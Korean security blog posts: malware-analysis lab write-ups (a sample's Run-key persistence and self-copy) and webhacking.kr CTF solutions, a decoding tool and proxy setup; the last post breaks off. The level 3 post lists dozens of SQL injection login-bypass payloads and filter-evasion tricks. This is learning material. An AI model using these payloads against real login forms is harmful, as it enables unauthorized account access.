안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 6-3을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 기초 동적 분석

------------------------------------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

 

1) PE구조 & 패킹체크

별도의 패킹이 되어 있지 않습니다.

 

2) DLL 체크

KERNEL32.dll, WININET.dll, ADVAPI32.dll 총 3개의 dll을 임포트합니다.

앞선문제와는 달리 ADVAPI32.dll이 추가되었으며, 레지스트리 관련 API가 보입니다.

 

3) String 체크

IDA의 String Window(Shift+F12)를 보면 아래와 같이 .data섹션(초기화된 전역변수, 읽기/쓰기 가능) 에서

앞선 문제와는 달리 자동실행 관련 레지스트리 키 값이 보이고,

디렉토리 경로들이 보입니다.

 

Tip. Quick View

몇일간 또 안봤다고 윈도우들의 단축키가 가물가물합니다.

애매할땐 [Ctrl+1] 을 이용한 Quick View 호출이 최고입니다..^^;

  

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 실습 6-2의 main 함수와 비교하라. main이 호출한 새로운 함수는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

실습 [6-2]와 다르게 main이 호출한 새로운 함수는 sub_401130 입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 새로운 함수는 어떤 인자를 갖는가?

------------------------------------------------------------------------------------------------------------------------------------------

call sub_401130 명령 이전에 push되는 인자를 확인하면 총 2개입니다.

첫번째 인자는 lpExistingFIleName argv 이고, 두번째는 var_8 이네요.

argv의 주소는 argv[0]과 동일하므로,  프로그램의 이름으로 볼 수 있습니다.

 

[ebp+var_8] 의 경우는 좀더 위쪽으로 올라가서 값을 할당받는 부분을 살펴보아야 합니다.

0x0040122D 주소에 있는 명령어를 보면, AL(1byte of EAX) 레지스터 값을 var_8 에 할당합니다.

EAX의 경우는 함수의 리턴값을 가지므로, 결론적으로 sub_401040 리턴값이 var_8 입니다. 

 

sub_401040의 리턴값은 파싱했던 HTML 문서 주석문 "<!--" 다음에 나오는 문자입니다.

자세한 내용은 전 포스팅을 참조해주세요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 이 함수가 가지는 주요 코드 구조는 무엇인가?

4. 이 함수는 무슨 일을 하는가?

------------------------------------------------------------------------------------------------------------------------------------------

 

대략 어떤일을 하는지 [User Xrefs chart] 기능을 이용하면 파악하기 용이합니다. 

DeleteFileA, CopyFileA, RegOpenKeyExA 등등...파일/디렉토리/레지스트리 관련 API 들이 보입니다.

 

API를 통하여 파일생성, 삭제, 레지스트리와 관련된 행위를 할 것으로 생각됩니다.

 

 

일단 전체적인 그래프의 모양을 살펴보면, 지난 문제에서 마주쳤던 if-else 문과는 다르게

중간의 분기문에서 여러군데로 뻗어나가는 모양세입니다.

 

Hex-ray 기능을 이용하여 코드를 살펴보면, 역시 switch 구문인것을 알 수 있습니다.

다음부터 이와 유사한 그래프 모형을 보게된다면, switch 구문임을 직감할 수 있겠네요.

 

0x401130 주소에서 스택프레임이 생성된 이후에 arg_0var_8 을 이용하여 특정 연산을 수행합니다.

특히 0x401140 주소의 sub 명령어로 61h 값을 빼준 이후에 곧장 CMP 명령어로 4와 비교합니다.

비교가 끝나면 JA명령어(OP1 > OP2 --> jump) 를 이용하여 분기합니다.

61h는 아스키코드 a(97) 를 의미하며, 97을 뺀 이후에

CMP 명령어에 의하여 4를 또 뺏는데, 크다면 값이 f(102) 이상이라는 소리입니다. 

이것이 의미하는 바는 알파벳 a, b, c, d, e 의 범주가 아니면 switch 구문의 default로 분기하는 것이며,

a~e 의 범주 내에 있다면 0x00401153 주소의 jmp 명령어로 이용하여 분기합니다.

 

jmp 명령어에서 edx4를 곱하는 이유는 ex) ds:off_4011F2[edx*4]

아래처럼 참조하는 메모리 주소 집합이 4바이트 단위로 존재하기 때문입니다.

하지만, IDA에서 살펴보니 주소값이 0x4011F2 로 동일하게 보이더군요.

 

Ollydbg로 확인하면 실제 주소값이 4byte 단위로 리스트되어 있습니다.

Tip. 이렇게 점프테이블을 사용하는 패턴은, 컴파일러가 siwtch 구문을 생성할때 종종 사용한다고 합니다.

 

 

이제 본격적으로 각 Switch 구문에서 어떤일을 하는지 알아봅시다.

case 97 C:\\Temp 디렉토리 생성

case 98

- C:\\Temp 디렉토리에 lpExistingFileName 을 cc.exe 이름으로 파일 복사

- lpExistingFileName의 경우 sub_401130에 인자로 넣어준 값이므로, 프로그램의 이름입니다.(argv[0])

- 어떤 값을 넣어주었는지 다시 복기하려면 초반에 많이 사용했던 Xrefs 기능 [Ctrl+X] 단축키를 사용합니다.

case 99C:\\Temp\\cc.exe 파일 삭제

case 100

- HKEY_LOCAL_MACHINE의 Run 레지스트리 오픈

- RegSetValueEx API를 이용하여 C:\\Temp\\cc.exe 악성코드를 자동실행 레지스트리에 등록

case 101100초간 Sleep

default : 에러메시지 출력

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

5. 이 악성코드에서 호스트 기반의 행위(indicator)가 존재하는가?

------------------------------------------------------------------------------------------------------------------------------------------

호스트기반의 행위는

Software\Microsoft\Windows\CurrentVersion\Run 레지스트리 값 변경과

C:\Temp\cc.exe 경로의 파일생성(복사) 로 볼 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

6. 이 악성코드의 목적은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

 

인터넷 연결확인과 주석확인의 경우, 전 문제와 동일하며

다운로드된 HTML파일의 값에 따라

 

switch 구문을 이용하여 파일생성 및 레지스트리값 변경, Sleep 등이 주 목적입니다.

 

posted by Red_Message
2016. 8. 13. 20:23 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv6 문제풀이 달립니다!

! 빠른 문제풀이 보다는 풀이과정 속에서 이것 저것 배우는것을 목표로 합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

6번 문제에 접속합니다.

Hint로 base64가 주어졌고, ID와 PW가 써져있군요....?!

 

소스코드를 살펴보면 초기 Cookie 값을 설정하기 위해

20번의 base64 인코딩과 특수문자 치환을 하고 있음을 알 수 있습니다.

 

이후 동일하게 base64로 디코딩 과정을 거치고 있군요!

 

디코딩 결과값이 "admin" 인 경우에 solve 함수를 호출합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------ 

 

우리가 문제를 풀이하기 위해서는

20번의 디코딩 + 특수문자 치환 => "admin" 이라는 결과값을 만들어 내야 합니다.

즉, 반대로 "admin" 값을 20번 인코딩 한후 특수문자 치환을 하고나서

아래의 Cookie 값에 설정하면 됩니다.

 

전 이번 문제를 해결하기 위해 룰루랄라 하면서

파이썬으로 간단히 20번의 for문을 작성했습니다.

아래와같이 말이죠! 심지어 이번 문제는 삽질 없이 빨리 끝내겠네~ 라는 생각과 함께요

 id = base64.encodestring(id

 

그런데...안되더군요

인코딩 방법을 바꾸어 보았습니다.

 id = id.encode("base64") 

 

안됩니다. 뭐가 문제지 싶었습니다.

삽질끝에 알고 왔더니 encodestring과 encode("base64")에 포함된 개행문자 "\n" 때문입니다.

encodestring의 경우는 print로 찍어보면 print 메소드 자체의 개행문자까지 총 2번의 개행이 됨을 볼 수 있습니다.

이를 해결하기 위해 rstrip 함수를 사용한다고 해도 아래 그림처럼

8번째 줄부터는 자동으로 개행 문자가 삽입되어 우리가 원하는 값을 얻을 수 없습니다.

물론, 개행문자가 들어갔다 하더라도 동일 함수로 디코딩 하면 최초 문자열인 "admin"이 나옵니다.

 

결과적으로 제가 원했던 "파이썬 코딩을 이용한 해결"은 b64encode 함수를 써야합니다.

그러면 아래와 같이 개행문자가 삽입되지 않고 결과값이 나옴을 볼 수 있습니다.

WebHacking 홈페이지에서 제공하는 base64 인코딩 기능을 사용하는 방법도 있습니다.

 

특수문자를 치환하는 부분은 딱히 치환되는 부분이 없기 때문에

단순히 디코딩만 20번 해준뒤에 Coockie 값을 변경해주면

문제를 해결할 수 있습니다.

 

그냥 삽질만 하면 아쉬운것 같아서, Tab이 허전한 RDT에 BASE64 탭을 추가했습니다.

이번 케이스를 통해서 BASE64 인코딩이나 디코딩이 여러번 중첩되는 경우

놓치는 부분을 최소화 하기 위해 , XOR 연산처럼 횟수를 지정할 수 있도록 구현했습니다.

그래도 삽질 끝에 뭔가 하나라도 얻었으니 다행이네요.

posted by Red_Message
2016. 8. 12. 18:27 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv5 문제풀이 달립니다!

! 빠른 문제풀이 보다는 풀이과정 속에서 이것 저것 배우는것을 목표로 합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

5번 문제에 접속하면 아래와 같은 화면이 우리를 반겨줍니다.

 

소스를 살펴보아도 별다른건 보이지 않습니다.

Join 버튼을 눌러보아도, 역시 소스코드대로 "Access_Denied" 경고창이 뜨는군요.

 

Login 버튼을 눌러 다음으로 넘어가면 이러한 화면이 나옵니다.

지난번 문제에서 처럼, Burp를 이용하여 간단히 SQl Injection을 수행해 보았으나,

별다른 취약점은 발견하지 못했습니다.

 

이제 다른 루트를 모색해봐야 할 것 같군요!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 디렉토리 리스팅

Join 버튼을 괜히 넣어놓지는 않았을겁니다.

그렇다면 join을 할 수 있는 다른 페이지가 존재하는가? 라는 의문이 들었드랬죠.

소스코드에서는 발견할 수 없었으니, 다른 페이지가 존재하는지 여부를 살펴봐야합니다.

join 페이지를 추측해서 일단 넣어보는 방법도 있겠지만,

디렉토리 리스팅이 통한다면 가장 편한 방법이겠죠! 한번 시도해봅니다.

 

join.php 의 존재를 확인하였으니, 접속해봅니다.

그러면 검은색 화면이 우리를 반겨줍니다.

소스코드를 확인하면 아래와 같이 난독화된 소스를 볼 수 있습니다.

 

 

2) 난독화 & 지핑 해제

난독화된 소스를 한눈에 알아보기 쉽지 않습니다.

다른분들의 풀이도 살펴보고, 나름대로의 검색을 통해서

난독화되거나 정렬되어 있지 않은 JScript를 분석하는 방법은 대체로 아래와 같더군요.

Malzilla / Format Code 기능

Notepad++ / JSFormat(JSTool Plugin) 기능

 IE 개발자도구 / Console 기능

 온라인 Unpack & Deobfuscator 이용

--------------------------------------------------------------------------------------

- Malzilla : https://sourceforge.net/projects/malzilla/?source=typ_redirect

- Notepad++ : https://notepad-plus-plus.org

- Online Javascript Deobfuscator : http://jsbeautifier.org

--------------------------------------------------------------------------------------

 

 

방법1 : Malzilla / Format code

정리된 소스코드의 윗부분은 주로 선언부인것 같네요.

 

아랫부분에 주요 소스코드가 나옵니다.

주요 골자는 2개의 if 조건과, else 조건으로 보입니다.

그중에서도 else 문이 핵심인듯 하여, 좀더 세밀하게 정리해봅니다.

 

document.write() 메소드를 이용하여 붉은색의 html 소스를 추가로 입력하는 것으로 보입니다.

특정 변수가 있다면, alert() 메소드로 난독화가 해제된 소스코드를 보겠지만

일일이 wirte() 를 이용했기 때문에 손으로 어느정도 정리해 줘야 겠군요!

 

 

방법2 : Notepad++ / JSFormat

정렬 기능을 사용하기 위해 JSTool 플러그인을 설치해줍니다.

 

이후에 JSTool의 JSFormat 기능을 선택하여 정렬해줍니다.

 

Malzilla보다 조금더 안정감 있게 정리된 느낌이네요.

 

Notepad++의 장점은, 윈도우에 기본적으로 설치되어 있는 Notepad 보다

우수한 성능의 replace(바꾸기, Ctrl+H) 기능을 제공해줍니다.

특히 바꾸고 싶은 문자열을 더블클릭해서 단축키를 누를경우, 좀더 편리하게 바꿀 수 있으며,

Notepad에서는 할 수 없는 개행문자도 변경가능합니다.

 

파이썬으로 변경하신분도 있으시던데, 저의 경우 그냥 바꾸기 기능을 이용하여 아래와 같이 정렬했습니다.

대소문자 구분과 단어 완전일치를 체크해주지 않으면, 엉뚱한 문자들이 교체될 수 있습니다.

대략 살펴보면 아래와 같습니다.

- document.cookie 에서 "oldzombie" 문자열이 없으면 --> bye

- document.url 에서 mode 값이 1이 아니면 "access.denied"

- 모두 충족되면 document.write

 

그래서 cooxie 툴바를 이용하여 cookie값에 "oldzombie" 문자열을 넣어주고

URL에는 mode=1 값을 넣어주면 됩니다. (http://webhacking.kr/challenge/web/web-05/mem/join.php?mode=1)

그럼 정상적인 회원가입 폼을 만날 수 있습니다.

 

 

방법3 : IE 개발자도구 / Console

난독화되거나, 지핑된 코드는 정렬 기능을 가진 도구를 이용해도

난독화가 쉽게 풀리지 않는 경우가 많습니다.

IE 개발자도구의 콘솔기능을 이용하면, 현재 웹페이지의 소스코드를 고치지 않고도

변수등을 alert로 찍어볼 수 있습니다. 

 

특히 저희가 풀고 있는 문제에서는 document.write 부분만 따로 복사하여

콘솔부분에 붙여 넣으면, 조건문을 거치지 않고도 회원가입 스크립트를 볼 수 있습니다.

해당 폼에 회원가입을 해도 정상적인 쿼리값이 전송됩니다.

 

 

3) 회원가입

우리는 admin ID값으로 로그인 해야하므로,

admin으로 회원가입을 해보면 아래와 같은 이미 존재한다는 창이 뜹니다.

 

그렇다면, admin으로 로그인은 하되

글자는 admin이 아닌 경우를 생각해야하는데,

만약 서버가 사용자 입력값을 trim() 한다면 space 값을 이용하여 우회할 수 있는 여지가 생깁니다.

하지만 글자 길이가 5자리로 제한되어 있으므로, 프록시툴로 우회해줍니다.

 

회원가입이 완료되었습니다.

 

로그인을 시도해볼까요?

 

 

 Tip. JScript - indexOf

 문자열 중에서 특정 문자나 문자열의 위치를 말해주는 메소드로,

 특정 문자가 있는지 없는지를 판단하는 메소드.

 시작위치를 지정해주지 않으면, 전체 문자열에서 처음부터 검사합니다.

 ex) alert("redscreen".indexOf("r")) 의 결과값은 0 입니다.

 

 Tip. Javascript의 세미콜론

 자바스크립트는 문장 끝에 세미콜론을 입력하지 않아도 프로그램을 실행하는데 문제가 없습니다.

 하지만 대부분의 프로그래밍 언어가 문장 끝에 세미콜론을 입력하므로 자바스크립트도 관례상 입력합니다.

 

posted by Red_Message

안녕하세요. Message입니다.

webhacking.kr 문제를 풀이하다보니, 디코딩이 필요한 문제가 있었습니다.

결과적으로 해당 문제는 XOR 디코딩이 정답이 아니었지만요

평소에 간단한 도구는 직접 코딩해서 사용하는게 좋다고 생각해왔는데

생각만 하면 평생 안할거 같은지라...

이참에 GUI 기반의 간단한 XOR 디코딩 툴을 파이썬으로 제작하는 과정을 포스팅 하려고 합니다.

 

GUI부분은 PyQt4를 이용하였습니다.

RiverBank : PyQt4 Download : https://riverbankcomputing.com/software/pyqt/download

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 제작과정

------------------------------------------------------------------------------------------------------------------------------------------

 

1) PyQT4 + QT Designer

저도 파이썬으로 GUI 기능을 구현하는것은 처음이라 이것저것 알아봤더니

PyQT4를 많이 쓴다고 하길래 일단 써보기로 했습니다.

PyQT4를 설치하면 Qt Designer 라는 프로그램을 사용하여 아래와 같이 디자인을 할 수 있습니다.

아래와 같이 기초적인 디자인을 끝냅니다.

 

 

2) Python 코드로 변환

QT Deginer으로 대략적인 디자인을 완성하면,

C:\Python27\Lib\site-packages\PyQt4\uic 폴더의 pyuic.py 을 이용하여 파이썬 코드로 변환이 가능합니다.

ex) C:\Python27\Lib\site-packages\PyQt4\uic> python pyuic.py  -x message.ui  -o message.py

혹시 모듈 에러가 나시면, 파이썬과 PyQT가 64비트인지 확인하세요,

저의 경우 Python 2.7 - 32bit로 설치되어 있어서 오류가 났더랬습니다.

 

성공하면 아래와 같이 기본적인 코드가 생성되니 매우 편리합니다.

이제 필요한 부분을 수정하거나, 추가해주면 됩니다.

 

 

3) List +Model 구현

Xor 디코딩한 결과값을 Gui 로 넘겨서 Lit로 구현해야 하는데,

PyQT에서 좋은 예제 소스를 제공해주고 있습니다.

Window키를 눌러 시작메뉴에서 생성된 폴더를 살펴보면 Examples and Demos 를 발견할 수 있습니다.

 

 

Demo를 실행시키면 아래와 같이 샘플의 분류가 나옵니다. 제가 참고한 부분은 Item View 입니다.

 

각자가 필요한 부분이 있겠지만, 제가 리스트를 구현하는데 필요한 부분은

Basic Sort/Filter Model 이라는 샘플에서 찾을 수 있었습니다.

 

해당 샘플에서 리스트를 QStandardItemModel 모델을 이용하여 구현하였는데,

많은 예제 소스들이 트리구조가 없어도 Qtree를 이용한 부분이 의아하긴 했지만, 완성된 소스가 유용했습니다. 

아래의 레퍼런스를 참고하여 리스트 Row 값 추가, 삭제, 초기화 등을 구현했습니다.

URL : file:///C:/Python27/Lib/site-packages/PyQt4/doc/html/qstandarditemmodel.html

 

4) Xor 연산

현재 구현하고 있는 탭의 가장 중요한 기능입니다. 바로 Xor 연산이죠.

처음에는 아래와 같이 했더니, XOR Key 값의 범위가 1byte(0~255) 까지만 연산이 되더군요

  for i in range(0, len(text)):     

     result = ord( text[i] ) ^ key  

그래서 쉬프트연산자 [ >> ] 를 이용하여 Key 값을 Low, High로 나누어

범위를 2byte(0x00 ~ 0xFFFF) 까지 확장했습니다.

 keyLow = 0x00FF & key           

 keyHigh = (0xFF00 & key) >> 8

보통 XOR 디코딩이 필요할 경우, Key값이 그리 크지 않은 경우가 많으니 어느정도 커버가 될겁니다.

  result = ord( text[i] )     ^  key_low  

  result = ord( text[i+1] ) ^  key_high 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 마무리

------------------------------------------------------------------------------------------------------------------------------------------ 

 

Ver 1.0

일단 지정된 범위까지 Xor 디코딩을 해주는 부분과, ASCII + Unicode를 모두 표현해주는 기능까지는 완성됐습니다.

ASCII 값의 범위(0~127)가 넘어가는 경우에는 그냥 공백으로 나오길래

Hex 값을 보여주는 툴들을 참고하여 "." 으로 대체했습니다.

 

지금은 Red_Seek 이 바쁘지만,

나중에 시간이 생기면 기능도 보완하고, 새로운 기능은 탭을 늘려나가면서 추가하면 좋을 것 같습니다.

만드는게 생각보다 간단해서 초보인데도 불구하고 2~3일 정도 노력하니 콘솔창을 탈출하는게 성공했네요!

탭을 늘리거나 다른 툴을 제작할때도 좋은 발판이 될 것 같습니다.

 

Ver 1.1

BASE64 인코딩이나 디코딩이 여러번 중첩되는 경우

놓치는 부분을 최소화 하기 위해 , XOR 연산처럼 횟수를 지정하여 볼 수 있는 탭을 추가했습니다.

 

posted by Red_Message
2016. 8. 6. 13:25 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv4 문제풀이 달립니다!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

4번 문제에 접속하면 아래와 같은 문자열이 나옵니다.

아마 해당 문자열을 복호화 하거나 디코딩하라는 의미겠죠?

 

단순히 즐겨찾기 해두면 맨날 없어지고, PC 바뀌면 못찾고...

이러한 문자열을 디코딩하거나 레인보우 테이블이 필요할때 유용한 사이트입니다.

암복호/디코딩 : http://tools.web-max.ca/encode_decode.php

 

레인보우테이블 : http://hashtoolkit.com

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

일단 주어진 문자열의 끝부분이 "==" 으로 끝나므로 BASE64 로 디코딩해주면 아래와 같은 문자열이 나옵니다.

 c4033bff94b567a190e33faa551f411caef444f2

 

해당 문자열을 패스워드에 입력하면 아무 반응이 나타나지 않습니다.

아마 어떠한 방법으로 디코딩을 더 해야되는것 같네요.

해당 문제를 풀기위해 공부한 결과로는, 16진수 X 40개 = 160bit 값을 통해 SHA1 으로 유추하는 방법이 있다고 하는데,

저는 직관적으로 해당 방법을 몰랐으므로, 위에 URL에 남긴 레인보우테이블 사이트를 이용했습니다.

bit값을 알아서 계산해서 결과를 알려주는 듯 합니다. SHA1 Decrypt 결과값이 나왔습니다.

 

하지만 결과값 역시 160bit 이므로, 한번더 동일한 작업을 수행합니다.

그러면 아래와 같은 의미있는 문자열을 발견할 수 있습니다.

사실 윗단계에서 의미 없다고 다른 방법을 찾아보았다면 낭패를 보았겠죠..

 

해당값을 입력하면 클리어입니다.

 

 Tip. 해쉬함수

 보통 웹사이트에서 패스워드를 저장할 때 SHA1, SHA256 등을 이용한 해쉬값을 많이 사용합니다.

 하지만 해당 방법들을 사용하면, 위 사이트에서 제공하는 레인보우테이블을 이용할 경우 패스워드 추축이 가능하게 됩니다.

 그래서 쉽게 추측하는 부분을 방지하기 위해 대형 사이트에서는 아래와 같이

 무의미한 쓰레기값과 salt 값을 이용한다고 합니다.

  "쓰레기값" + SHA1(salt + password) = 유추하기 어려운 값 

 

posted by Red_Message
2016. 8. 5. 16:53 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv3 문제풀이 달립니다!

중간 과정과 삽질을 생략하지 않아 다소 길 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

문제에 접속하면 퍼즐이 나옵니다.

뭔가 있을줄 알았으나...그냥 풀어주고 넘어가면 됩니다.

 

 

다음 화면으로 넘어가면 아래와 같은 페이지가 나옵니다.

왠지 SQL Injection를 하라고 대놓고 만든 페이지처럼 느껴집니다...

해야될것만 같습니다. 느낌이 그렇습니다 그냥...

 

프록시 툴로 어떤 인자 값이 전달되는지 확인합니다.

answer와 id값이 동시에 전달됨을 확인합니다.

 

유저가 입력한 answer값과 name 값이 서버에 저장되는것 같습니다.

이런 부분을 체크하고 문제풀이에 돌입합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

다른 분들의 풀이를 보면, 특수문자 샥샥 해서 한페이지 만에 답을 도출하시던데...

저는 그게 안되는데 어떻게 되는거죠? 오늘도 삽질을 시작합니다.

그래도 삽질을 하면 배우는게 있어요...

 

남들이 하는것처럼 일단 특수문자를 넣어보기로 했습니다.

예전에 손가락으로 일일이 넣다가 포기했던 아름다운 추억이 있으므로

Burp의 Intruder 기능을 이용하기로 했습니다. 공격할 포지션으로 answer를 지정합니다.

 

1) 특수문자

PayloadSimple List로 지정해줍니다.

일단 산뜻하게 특수문자로 시작합니다. (복사 + Paste버튼) 

 

공격 결과는 아래와 같습니다.

첫 패킷은 페이로드가 포함되지 않아서 그냥 엔터를 친 결과와 같습니다.

우리가 주목해야 할 부분은 돌아온 Response 값의 Length입니다.

 

Length 값이 458인 경우는 no hack 이라는 말과 함께 차단되는 것으로 보입니다.

여기서 제가 주목하지 않아 삽질을 하게 만든 특수문자는 % 입니다.

특수문자 테스트에서 % 문자가 차단되는 부분을 고려하여 Injection 코드를 구성했어야 했는데

스페이스가 URL 인코딩이 되면서 %20 으로 치환되는 부분을 간과해버려서

스페이스가 들어간 모든 Injection 공격문이 차단되었기 때문입니다.

차단되는 특수문자 : ! # % * ' /

 

Length 값이 458인 경우는, query error! 라는 말로 보아 차단되는 특수문자는 아닌것으로 판단됩니다.

여기서도 제가 신경 쓰지 못한 특수문자가 있는데, 바로 || 입니다.

평소 MySQL Injection에 익숙해져 있는데다가, 대부분 or 를 쓰다보니 관심이 없었더랬죠..

 

Length 값이 451인 경우는 아무런 값이 리턴되지 않아 알수가 없습니다. ex) @

 

2) 1차시도

기존에 SQL Injection의 존재 여부를 간단히 체크할 수 있는 리스트를 검색해서

복붙 해놓은게 생각나서 버프슈트의 payload에 입력해 보았습니다.

결과 : 실패

 or 1
 or 1=1
 or 1=1--
 or 1=1#
 or 1=1/*
 admin' --
 admin' #
 admin or 1
 admin or 1=1
 admin or 1=1--
 admin or 1=1#
 admin or 1=1/*
 admin" or "1"="1"--
 admin" or "1"="1"#
 admin" or "1"="1"/*
 admin" or 1=1 or ""="
 admin" or 1=1
 admin' /*
 admin' or '1'='1
 admin' or '1'='1'--
 admin' or '1'='1'#
 admin' or '1'='1'/*
 admin' or 1=1 or ''='
 admin' or 1=1
 admin' or 1=1#
 admin') or ('1'='1
 admin') or ('1'='1'--
 admin') or ('1'='1'#
 admin') or ('1'='1'/*
 admin') or '1'='1
 admin') or '1'='1'--
 admin') or '1'='1'#
 admin') or '1'='1'/*
 admin" --
 admin" #
 admin" /*
 admin" or 1=1--
 admin" or 1=1#
 admin" or 1=1/*
 admin") or ("1"="1
 admin") or ("1"="1"--
 admin") or ("1"="1"#
 admin") or ("1"="1"/*
 admin") or "1"="1
 admin") or "1"="1"--
 admin") or "1"="1"#
 admin") or "1"="1"/*

 

3) 2차시도 : 공백제거

특수문자 %가 막혀있는 부분을 생각하여, 공백(space)를 제거하여 시도합니다.

결과 : 실패

 

4) 3차시도 : 문자열 "or" → "||" 교체

검색을 하여 or 문자를 특수문자 || 로 교체하여야 된다는 사실을 알게되었습니다.

하지만 Length를 보아도 별다른 소득이 없습니다.

결과 : 실패

 

5) 4차시도 : 공백 다시 제거

스페이스가 포함되어 있는걸 까먹었습니다. 머리가 안돌아가면 몸이 고생...

다시 공백을 제거하여 시도합니다.

결과 : 8번째 라인에서 성공

 

 

성공한 8번째 라인의 리턴된 값을 보면 아래와 같습니다.

이거 하나 보기가 까다롭네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 마무리

------------------------------------------------------------------------------------------------------------------------------------------

 

답을 모른다고 생각하고, 풀이를 진행해 보았습니다.

시간은 오래걸렸지만, 삽질을 하면서 얻은 교훈이 있네요 ㅎㅎ

1. 인젝션을 수행할 때 "or" 만이 능사는 아니다.

2. 프록시 툴로 파악한 파라미터에 인젝션을 시도할 경우, 기존의 데이터를 유지하고 뒤에 추가하는 부분도 고려해야 한다.

 

posted by Red_Message
2016. 8. 5. 11:02 :: 웹 보안

안녕하세요. Message입니다.

오늘은 Cooxie Toolbar의 Proxy Server 기능에 대해 간단히 포스팅합니다.

 

Burp나 Paros등을 사용할때면 항상 [인터넷옵션 - 연결 - LAN설정] 에 들어가야 하므로

설정과 해제를 반복하다보면 손가락도 아프고 매우 번거롭습니다.

 

Cooxie Toolbar의 기능을 이용하면 편리하고! 빠르게! 프록시 설정을 할 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

일전에 그냥 웹사이트에 돌아다니는 링크로 쿡시툴바를 다운로드 받아 사용하고 있었는데

Proxy Server 기능을 이용하려니까 갑자기 악성코드에 감염된것 처럼

구글링도 안되고 실행파일을 실행시키면 아래와 같은 오류가 뜨더군요

결국은 시스템복원..T^T

 

공식 홈은 아니지만 DioDia SoftWare를 다운로드 할 수 있는 링크를 찾았습니다.

(결정적으로 악성코드 감염 징후가 안보입니다.) 

URL : http://download.cnet.com/windows/diodia-software/3260-20_4-108723-1.html

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 설정

------------------------------------------------------------------------------------------------------------------------------------------

 

설치가 완료되었다면, Cooxie 버튼을 이용하여 Proxy Servers 탭으로 이동합니다.

 

그럼 아래와 같은 설정창이 나옵니다.

Add 버튼을 눌러 우리가 평소 LAN 설정에 입력하던 127.0.0.1 : 8080 으로 설정합니다.

 

 

아래와 같이 추가되었다면 정상입니다.

 

이제 가지고 계신 프록시 툴을 실행하고

쿡시툴바에서 Proxy: (none) > Proxy: 127.0.0.1:8080 으로 변경해줍니다.

간단한 프록시 설정 끝!

posted by Red_Message

안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 6-2을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 기초 동적 분석

------------------------------------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

 

1) PE구조 & 패킹체크

별도의 패킹이 되어 있지 않습니다.

 

2) DLL 체크

샘플 [Lab06-01.exe]와 동일하게 KERNEL32.dll, WININET.dll 2개의 dll을 임포트합니다.

다만 WININET.dll의 임포트 함수 목록이 5개로 증가하였습니다.

InternetOpenA, InternetOpenUrlA 등 샘플 [Lab01-02.exe] 에서 분석하였던 API가 보입니다.

아마 문자열을 어떤 IE를 사용하는지, 어떤 URL로 접속하는지 나오지 않을까요?

 

3) String 체크

IDA의 String Window(Shift+F12)를 보면 아래와 같이 .data에서

IE버전과 URL을 발견할 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. main 함수가 호출하는 첫 번째 서브루틴은 무슨 오퍼레이션을 수행하는가?

2. 0x40117F에 위치한 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

호출되는 첫번째 서브루틴은 샘플 [Lab06-01.exe]와 동일합니다.

[ View-Graphs-FlowChart(F12) ] 를 이용하여 전체적인 맥락을 살펴보면

전 샘플과는 다르게 if문이 중첩되어 있는 사실을 알 수 있습니다.

어쨋든 첫번째 서브루틴은 동일 기능입니다.

 

0x40117F에 위치한 서브루틴은 샘플 [Lab06-01.exe]와 동일하게 printf 기능을 수행합니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

3. main 함수가 호출하는 두 번째 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

main 함수가 호출하는 두번째 서브루틴(loc아님)은  아래와 같은 구조를 가지고 있습니다.

전체적인 파악을 하려면 시간이 좀 걸리겠습니다.

 

그래프는 복잡하지만 IDA의 Hex-ray 기능을 이용하면 좀더 직관적인 파악이 가능합니다.

소스코드를 통해 유추한 내용을 바탕으로 대략적인 흐름은 아래와 같습니다.

① InternetOpenA : WinNet 라이브러리 사용 초기화

